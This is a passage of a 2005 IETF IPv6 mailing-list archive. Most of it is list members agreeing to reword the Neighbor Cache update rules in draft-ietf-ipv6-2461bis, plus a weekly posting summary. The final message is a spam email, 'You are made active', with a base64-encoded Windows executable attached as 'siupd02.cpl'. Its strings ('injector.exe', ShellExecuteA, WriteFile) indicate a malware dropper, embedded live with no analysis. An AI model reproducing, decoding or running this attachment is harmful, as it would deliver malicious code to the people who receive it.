confidential and privileged material for the sole = use of the intended recipient. Any review or distribution by others is = strictly prohibited. If you are not the intended recipient please contact the = sender and delete all copies. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 11 15:25:57 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA05236 for ; Fri, 11 Feb 2005 15:25:56 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Czhgm-0000jy-9s for ipv6-web-archive@ietf.org; Fri, 11 Feb 2005 15:46:56 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CzhGy-0006Qm-4d; Fri, 11 Feb 2005 15:20:16 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Czh7M-00030s-H7 for ipv6@megatron.ietf.org; Fri, 11 Feb 2005 15:10:20 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA03278 for ; Fri, 11 Feb 2005 15:10:18 -0500 (EST) Received: from shuttle.wide.toshiba.co.jp ([202.249.10.124]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CzhRd-0000Ny-Ma for ipv6@ietf.org; Fri, 11 Feb 2005 15:31:18 -0500 Received: from ocean.jinmei.org (unknown [2001:4f8:3:bb:fc45:7353:edf7:ff75]) by shuttle.wide.toshiba.co.jp (Postfix) with ESMTP id 7F1F11521B; Sat, 12 Feb 2005 05:10:12 +0900 (JST) Date: Sat, 12 Feb 2005 05:10:42 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Erik Nordmark In-Reply-To: References: User-Agent: Wanderlust/2.10.1 (Watching The Wheels) Emacs/21.3 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.5 - "Awara-Onsen") Content-Type: text/plain; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Scan-Signature: 82c9bddb247d9ba4471160a9a865a5f3 Cc: H.Soliman@flarion.com, IPv6 WG , Pekka Savola Subject: Re: IPv6 WG Last Call:draft-ietf-ipv6-2461bis-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 082a9cbf4d599f360ac7f815372a6a15 Catching up a possibly minor point of an old thread... >>>>> On Thu, 13 Jan 2005 10:39:15 -0800 (PST), >>>>> Erik Nordmark said: >> ==> AFAICS, you can remove 'both the Override flag is clear and' here, >> because the same result happens if the Override flag is set. > No. The "but do not update the entry in any other way" does not apply when the > O flag is set, since in that case the recorded link layer address is updated. I'm not sure if this really rejects Pekka's point. In fact, it seems to me Pekka is correct here. To make it sure, I've cited the related part from the draft: If the Override flag is clear and the supplied link-layer address differs from that in the cache, then one of two actions takes place: if the state of the entry is REACHABLE, set it to STALE, but do not update the entry in any other way; otherwise, the received advertisement should be ignored and MUST NOT update the cache. If the Override flag is set, both the Override flag is clear and the supplied link-layer address is the same as that in the cache, or no Target Link-layer address option was supplied, the received advertisement MUST update the Neighbor Cache entry as follows: (Section 7.2.5 of draft-ietf-ipv6-2461bis-01.txt) This awfully complicated block would be clarified as follows (BTW, regardless of the result of this small discussion, it would be nice if we could make this part more understandable in the 2461bis work): 1. If the Override flag is clear and the supplied link-layer address differs from that in the cache, then: - if the state of the entry is REACHABLE, set it to STALE, but do not update the entry in any other way; - otherwise, the received advertisement should be ignored and MUST NOT update the cache. 2. (else) If - the Override flag is set, - both the Override flag is clear and the supplied link-layer address is the same as that in the cache, or - no Target Link-layer address option was supplied, then the received advertisement MUST update the Neighbor Cache entry as follows: [snip] Pekka talked about the second bullet of case 2, whereas you referred to (a part of) the 1st bullet of case 1. And, in my understanding, cases 1 and 2 are mutually exclusive. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 13 00:05:41 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA00867 for ; Sun, 13 Feb 2005 00:05:41 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0CHb-00035C-5n for ipv6-web-archive@ietf.org; Sun, 13 Feb 2005 00:26:59 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0Bus-00089B-AQ; Sun, 13 Feb 2005 00:03:30 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0Bsf-0007dT-8x for ipv6@megatron.ietf.org; Sun, 13 Feb 2005 00:01:13 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA00531 for ; Sun, 13 Feb 2005 00:01:10 -0500 (EST) Received: from cyteen.hactrn.net ([66.92.66.68]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0CDD-0002zG-8X for ipv6@ietf.org; Sun, 13 Feb 2005 00:22:28 -0500 Received: from hactrn.net (localhost [127.0.0.1]) by cyteen.hactrn.net (Postfix) with ESMTP id A2C72745 for ; Sun, 13 Feb 2005 00:00:29 -0500 (EST) To: ipv6@ietf.org From: Rob Austein Date: Sun, 13 Feb 2005 00:00:29 -0500 Message-Id: <20050213050029.A2C72745@cyteen.hactrn.net> X-Spam-Score: 0.0 (/) X-Scan-Signature: 7d33c50f3756db14428398e2bdedd581 Subject: Weekly posting summary for ipv6@ietf.org X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 2409bba43e9c8d580670fda8b695204a Messages | Bytes | Who --------+------+--------+----------+------------------------ 20.00% | 3 | 60.76% | 100867 | margaret@thingmagic.com 13.33% | 2 | 5.41% | 8989 | jinmei@isl.rdc.toshiba.co.jp 6.67% | 1 | 5.61% | 9318 | h.soliman@flarion.com 6.67% | 1 | 4.91% | 8151 | jordi.palet@consulintel.es 6.67% | 1 | 4.23% | 7021 | brian@innovationslab.net 6.67% | 1 | 3.52% | 5842 | internet-drafts@ietf.org 6.67% | 1 | 3.31% | 5488 | jonne.soininen@nokia.com 6.67% | 1 | 3.04% | 5053 | sra+ipng@hactrn.net 6.67% | 1 | 2.51% | 4165 | pekkas@netcore.fi 6.67% | 1 | 2.45% | 4072 | naddy@mips.inka.de 6.67% | 1 | 2.13% | 3528 | francis.dupont@enst-bretagne.fr 6.67% | 1 | 2.12% | 3514 | sharkey@zoic.org --------+------+--------+----------+------------------------ 100.00% | 15 |100.00% | 166008 | Total Grunchweather Associates provides this automatic summary on an at-whim basis at the request of the IPv6 WG chairs. Your mileage may vary. We decline responsibilities, all shapes, all sizes, all colors. If this script produces broken output, you get to keep both pieces. -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Mon Feb 14 06:11:59 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA17147 for ; Mon, 14 Feb 2005 06:11:59 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0eTn-00073r-NH for ipv6-web-archive@ietf.org; Mon, 14 Feb 2005 06:33:32 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0e11-0006FR-Do; Mon, 14 Feb 2005 06:03:43 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0dzC-0005w0-Ky for ipv6@megatron.ietf.org; Mon, 14 Feb 2005 06:01:50 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA16256 for ; Mon, 14 Feb 2005 06:01:47 -0500 (EST) Received: from mailout1.samsung.com ([203.254.224.24]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0eK0-0006p4-MM for ipv6@ietf.org; Mon, 14 Feb 2005 06:23:21 -0500 Received: from custom-daemon.mailout1.samsung.com by mailout1.samsung.com (iPlanet Messaging Server 5.2 Patch 2 (built Jul 14 2004)) id <0IBW00H09EM477@mailout1.samsung.com> for ipv6@ietf.org; Mon, 14 Feb 2005 20:01:16 +0900 (KST) Received: from ep_mmp2 (mailout1.samsung.com [203.254.224.24]) by mailout1.samsung.com (iPlanet Messaging Server 5.2 Patch 2 (built Jul 14 2004)) with ESMTP id <0IBW005XREM2AH@mailout1.samsung.com> for ipv6@ietf.org; Mon, 14 Feb 2005 20:01:14 +0900 (KST) Received: from Radhakrishnan ([107.108.71.58]) by mmp2.samsung.com (iPlanet Messaging Server 5.2 HotFix 1.17 (built Jun 23 2003)) with ESMTPA id <0IBW008KZELWN3@mmp2.samsung.com> for ipv6@ietf.org; Mon, 14 Feb 2005 20:01:14 +0900 (KST) Date: Mon, 14 Feb 2005 16:26:08 +0530 From: Radhakrishnan Suryanarayanan To: Erik Nordmark , JINMEI Tatuya / ???? Message-id: <00cf01c51283$cd830a20$3a476c6b@sisodomain.com> Organization: SAMSUNG India Software Operations MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Mailer: Microsoft Outlook Express 6.00.2800.1437 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT X-Priority: 3 X-MSMail-priority: Normal References: X-Spam-Score: 0.0 (/) X-Scan-Signature: 31247fb3be228bb596db9127becad0bc Content-Transfer-Encoding: 7BIT Cc: H.Soliman@flarion.com, IPv6 WG , Pekka Savola Subject: Re: IPv6 WG Last Call:draft-ietf-ipv6-2461bis-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Radhakrishnan Suryanarayanan List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 10ba05e7e8a9aa6adb025f426bef3a30 Content-Transfer-Encoding: 7BIT Hi Erik, I agree with Jinmei's rephrasing. Both in RFC 2461 and 2461bis the wordings were sounding little bit confused. I would request the changing of 2461bis wording as suggested by Jinmei. Regards Radhakrishnan ----- Original Message ----- From: )> To: "Erik Nordmark" Cc: ; "IPv6 WG" ; "Pekka Savola" Sent: Saturday, February 12, 2005 1:40 AM Subject: Re: IPv6 WG Last Call:draft-ietf-ipv6-2461bis-01.txt > Catching up a possibly minor point of an old thread... > > >>>>> On Thu, 13 Jan 2005 10:39:15 -0800 (PST), > >>>>> Erik Nordmark said: > > >> ==> AFAICS, you can remove 'both the Override flag is clear and' here, > >> because the same result happens if the Override flag is set. > > > No. The "but do not update the entry in any other way" does not apply when the > > O flag is set, since in that case the recorded link layer address is updated. > > I'm not sure if this really rejects Pekka's point. In fact, it seems > to me Pekka is correct here. To make it sure, I've cited the related > part from the draft: > > If the Override flag is clear and the > supplied link-layer address differs from that in the cache, then one > of two actions takes place: if the state of the entry is REACHABLE, > set it to STALE, but do not update the entry in any other way; > otherwise, the received advertisement should be ignored and MUST NOT > update the cache. If the Override flag is set, both the Override > flag is clear and the supplied link-layer address is the same as that > in the cache, or no Target Link-layer address option was supplied, > the received advertisement MUST update the Neighbor Cache entry as > follows: > (Section 7.2.5 of draft-ietf-ipv6-2461bis-01.txt) > > This awfully complicated block would be clarified as follows (BTW, > regardless of the result of this small discussion, it would be nice if > we could make this part more understandable in the 2461bis work): > > 1. If the Override flag is clear and the supplied link-layer address > differs from that in the cache, then: > - if the state of the entry is REACHABLE, set it to STALE, but > do not update the entry in any other way; > - otherwise, the received advertisement should be ignored and > MUST NOT update the cache. > > 2. (else) If > - the Override flag is set, > - both the Override flag is clear and the supplied link-layer > address is the same as that in the cache, or > - no Target Link-layer address option was supplied, > then > the received advertisement MUST update the Neighbor Cache entry > as follows: > [snip] > > Pekka talked about the second bullet of case 2, whereas you referred > to (a part of) the 1st bullet of case 1. And, in my understanding, > cases 1 and 2 are mutually exclusive. > > JINMEI, Tatuya > Communication Platform Lab. > Corporate R&D Center, Toshiba Corp. > jinmei@isl.rdc.toshiba.co.jp > > -------------------------------------------------------------------- > IETF IPv6 working group mailing list > ipv6@ietf.org > Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 > -------------------------------------------------------------------- > > -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Mon Feb 14 11:46:30 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA20476 for ; Mon, 14 Feb 2005 11:46:30 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0jhc-0006ah-6b for ipv6-web-archive@ietf.org; Mon, 14 Feb 2005 12:08:07 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0jJq-0006g2-CC; Mon, 14 Feb 2005 11:43:30 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0jII-0006TP-0H for ipv6@megatron.ietf.org; Mon, 14 Feb 2005 11:41:54 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA20074 for ; Mon, 14 Feb 2005 11:41:51 -0500 (EST) Received: from mail.flarion.com ([63.103.94.23] helo=ftmailgfi1.flariontech.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0jdA-0006UX-24 for ipv6@ietf.org; Mon, 14 Feb 2005 12:03:28 -0500 Received: from ftmailserver.flariontech.com ([10.10.1.140]) by ftmailgfi1.flariontech.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 14 Feb 2005 11:41:12 -0500 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-2022-JP" Content-Transfer-Encoding: quoted-printable Date: Mon, 14 Feb 2005 11:41:12 -0500 Message-ID: Thread-Topic: IPv6 WG Last Call:draft-ietf-ipv6-2461bis-01.txt Thread-Index: AcUQdbQkH37cLSbnS6ioUa+dZQRrYgCPgtLg From: "Soliman, Hesham" To: "JINMEI Tatuya / ????" , "Erik Nordmark" X-OriginalArrivalTime: 14 Feb 2005 16:41:12.0543 (UTC) FILETIME=[FE561EF0:01C512B3] X-Spam-Score: 0.0 (/) X-Scan-Signature: 5011df3e2a27abcc044eaa15befcaa87 Content-Transfer-Encoding: quoted-printable Cc: IPv6 WG , Pekka Savola Subject: RE: IPv6 WG Last Call:draft-ietf-ipv6-2461bis-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 057ebe9b96adec30a7efb2aeda4c26a4 Content-Transfer-Encoding: quoted-printable Jinmei,=20 Makes sense, I've always struggled with that paragraph too, it's quite = hard to follow. I'll make the change to something similar to what you have below.=20 thx Hesham > -----Original Message----- > From: jinmei@isl.rdc.toshiba.co.jp=20 > [mailto:jinmei@isl.rdc.toshiba.co.jp] > Sent: Friday, February 11, 2005 3:11 PM > To: Erik Nordmark > Cc: Pekka Savola; Soliman, Hesham; IPv6 WG > Subject: Re: IPv6 WG Last Call:draft-ietf-ipv6-2461bis-01.txt >=20 >=20 > Catching up a possibly minor point of an old thread... >=20 > >>>>> On Thu, 13 Jan 2005 10:39:15 -0800 (PST),=20 > >>>>> Erik Nordmark said: >=20 > >> =3D=3D> AFAICS, you can remove 'both the Override flag is=20 > clear and' here, > >> because the same result happens if the Override flag is set. >=20 > > No. The "but do not update the entry in any other way"=20 > does not apply when the > > O flag is set, since in that case the recorded link layer=20 > address is updated. >=20 > I'm not sure if this really rejects Pekka's point. In fact, it seems > to me Pekka is correct here. To make it sure, I've cited the related > part from the draft: >=20 > If the Override flag is clear and the > supplied link-layer address differs from that in the=20 > cache, then one > of two actions takes place: if the state of the entry is=20 > REACHABLE, > set it to STALE, but do not update the entry in any other way; > otherwise, the received advertisement should be ignored=20 > and MUST NOT > update the cache. If the Override flag is set, both the Override > flag is clear and the supplied link-layer address is the=20 > same as that > in the cache, or no Target Link-layer address option was supplied, > the received advertisement MUST update the Neighbor Cache entry as > follows: > (Section 7.2.5 of draft-ietf-ipv6-2461bis-01.txt) >=20 > This awfully complicated block would be clarified as follows (BTW, > regardless of the result of this small discussion, it would=20 > be nice if > we could make this part more understandable in the 2461bis work): >=20 > 1. If the Override flag is clear and the supplied link-layer address > differs from that in the cache, then: > - if the state of the entry is REACHABLE, set it to STALE, but > do not update the entry in any other way; > - otherwise, the received advertisement should be ignored and > MUST NOT update the cache. >=20 > 2. (else) If > - the Override flag is set, > - both the Override flag is clear and the supplied link-layer > address is the same as that in the cache, or > - no Target Link-layer address option was supplied, > then > the received advertisement MUST update the Neighbor Cache entry > as follows: > [snip] >=20 > Pekka talked about the second bullet of case 2, whereas you referred > to (a part of) the 1st bullet of case 1. And, in my understanding, > cases 1 and 2 are mutually exclusive. >=20 > JINMEI, Tatuya > Communication Platform Lab. > Corporate R&D Center,=20 > Toshiba Corp. > jinmei@isl.rdc.toshiba.co.jp >=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D This email may contain confidential and privileged material for the sole = use of the intended recipient. Any review or distribution by others is = strictly prohibited. If you are not the intended recipient please contact the = sender and delete all copies. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 15 04:10:46 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA08537 for ; Tue, 15 Feb 2005 04:10:46 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D0z4G-0007Az-DC for ipv6-web-archive@ietf.org; Tue, 15 Feb 2005 04:32:31 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0ygl-0006kb-TO; Tue, 15 Feb 2005 04:08:11 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D0yfh-0006bq-CH for ipv6@megatron.ietf.org; Tue, 15 Feb 2005 04:07:05 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA08378 for ; Tue, 15 Feb 2005 04:07:03 -0500 (EST) Received: from 200-101-149-238.toobm201.dial.brasiltelecom.net.br ([200.101.149.238] helo=marfim-pfvqe5p9.com) by ietf-mx.ietf.org with smtp (Exim 4.33) id 1D0yze-00074a-5E for ipv6@ietf.org; Tue, 15 Feb 2005 04:28:48 -0500 Date: Tue, 15 Feb 2005 06:05:30 -0300 To: "Ipv" From: "Margaret" Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------mjcbllhtteuzldbijaow" X-Spam-Score: 3.3 (+++) X-Scan-Signature: e3ebaaff3b3539efaf29ef65eea2aded Subject: You are made active X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 2.7 (++) X-Scan-Signature: 8df1ceff7d5e1ba4a25ab9834397277b ----------mjcbllhtteuzldbijaow Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit Before use read the help
----------mjcbllhtteuzldbijaow Content-Type: application/octet-stream; name="siupd02.cpl" Content-Disposition: attachment; filename="siupd02.cpl" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAO8AgkEAAAAAAAAAAOAADiELAQUMAAwAAAAC AAAAAAAAMBUAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAMp9AAAAAgAA AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADAUAAA8AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAACAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAACMFAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50 ZXh0AAAAEAoAAAAQAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAOAucmVsb2MAACoAAAAAIAAA AAIAAAAKAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAADKTQAAADAAAMpNAAAADAAAAAAAAAAA AAAAAAAAIAAA4AAAAAAAAAAAAAAAAAAAAABvcGVuAGZkZmRmZGdqa3RqeWZqZ3ZkaHR5dXJm ZmhneXR1a2doY2dkaHlyaXV0eWxoa2poZmp5cnVrZ2p2anV0bGhraGZ1a2dqaGZmeXV0aW95 amdoamh5dXRnamtoZnVrdGl5bGhqZ2ZkZmRmZGdoZ2hqeXVydXRpZ2toZmpndHVpdGtnaGp5 dXRpdmpma2hnaGR5amdoZ2ZqaGtna2poZ2prZnRqcmZqaGdmamhuYmhmZHJ2YmZudmRmZ2Jm dmZiaG1iZ25idmdoZ2Z2aGdkamdmZGZkZmRnaGdoamZrdXV0amJ5cnlyeXZ3YmF2c3Rlc2h2 c3Ryc3RyaHZydHdzdGh2ZHNocnZzaHJ0cmhzaHJkaGZkZ2ZqZ2ZkZmRmZGdoZ2hqZmdoam1m a3V0Ynl0eXV0YnV5dXlydHJ0cnl0cnl0eXZlcnRydHRnZnJ0cnR5cnl0amdmZGZkZmRnamdm aGpoamdra2pramtoamhramhmanlydWtnanZqdXRsaGtoZnVrZ2poZmZ5dXRpb3lqZ2hqaHl1 dGdqa2hmdWt0aXlsaGpnZmRmZGZkZ2hnaGp5dXJ1dGhqa2poa2hqa2xveXR5dXZqZmtoZ2hk eWpnaGdmamhrZ2tqaGdqa2Z0anJmamhnZmpobmJoZmRydmJmbnZkZmdiZnZmYmhtYmduYnZn aGdmdmhnZGpnZmRmZGZkZ2hnaGpma3V1dGpieXl1ABAAAAwAAAC1NQAAZmV0ZXJ5dGV5Zmdl eXV0cnVpanN0cmh2cnR3c3RodmRzaHJ2c2hydHJoc2hyZGhmZGdmamdcY2plY3Rvci5leGUA ZmRmZGZkZ2hnZ2ZnZmpmamdqa2draGtqaGxraGxramxraGtoa2xqaGxramhsa2poamdmZGZk ZmZoZ2ZqaGZoZ2Zoamtna2toZ2RzaGZqZ2tobGprZmhobWZjZ2ZoZ2hqa2psZmhnamtqZ2Zz ZGdoampoamd5dGt1Z2poZnlqZ2ZqaGZocmZqaHlmdHJ0aHJmdGhnZmh0aGhqa2tqa2pnaGt1 am91aWxoamtqaHlrdWhrZmh0ZGZodHJqZ2poeXJmaHRydGp5cnRydGhydHllaHRlZXJlZGdm ZGhmZGhnZGh0ZGhzZWdyZHJlZGhmeWpydGhqZ2ZkZmRzeXRyeXJ0aGZnYmZnaGdna2hsamtm aGhtZmNnZmhnaGpramxmaGdqa2pnZnNkZ2hqamhmZ2Znamp1dHlpeXVpaWl5dGt1Z2poZnlq Z2ZqaGZocmZqaHlmdHJ0aHJmdGhnZmh0aGhqa2tqa2pnaGt1aXV5ZGZ1anR5a2dqZHN3ZXR0 ZWhmZ2hqZ2h1Z3lqZmdoZmdodHJ0anlydHJ0aHJ0eWVodGVlcmVkZ2ZkaGZkaGdkaHRkaHNl Z3JkcmVkaGZ5anJ0aGpnAAAAbBQAAAAAAAAAAAAABBUAAIwUAACEFAAAAAAAAAAAAAAiFQAA pBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuBQAAMYUAADUFAAA7BQAAPgUAAAAAAAAEhUAAAAA AAC4FAAAxhQAANQUAADsFAAA+BQAAAAAAAASFQAAAAAAAHVzZXIzMi5kbGwAABoAQ2xvc2VI YW5kbGUAMABDcmVhdGVGaWxlQQBiAUdldFdpbmRvd3NEaXJlY3RvcnlBAACeAldyaXRlRmls ZQC1AmxzdHJjYXRBAABrZXJuZWwzMi5kbGwAAGcAU2hlbGxFeGVjdXRlQQBzaGVsbDMyLmRs bAAAAFWL7IN9DAF1SGgABAAAaBAWABDoogAAADPCaGESABBoEBYAEOidAAAAQWgQFgAQ6CYA AAALwHQZ99BqAGoAagBoEBYAEGgAEAAQagDoewAAALgBAAAAycIMAFWL7IPE+FNWM9tqAGoA agJqAGoDaAAAAMD/dQjoOQAAAJCJRfhAdCMzwr4AMAAQrZJqAI1F/FBSVv91+OglAAAASP91 +OgKAAAAQ4vDXlvJwgQAzP8ljBQAEP8lkBQAEP8llBQAEP8lmBQAEP8lnBQAEP8lpBQAEAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAgAAAAPzVLNVA1WzVxNXY14DXmNew18jX4Nf41 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 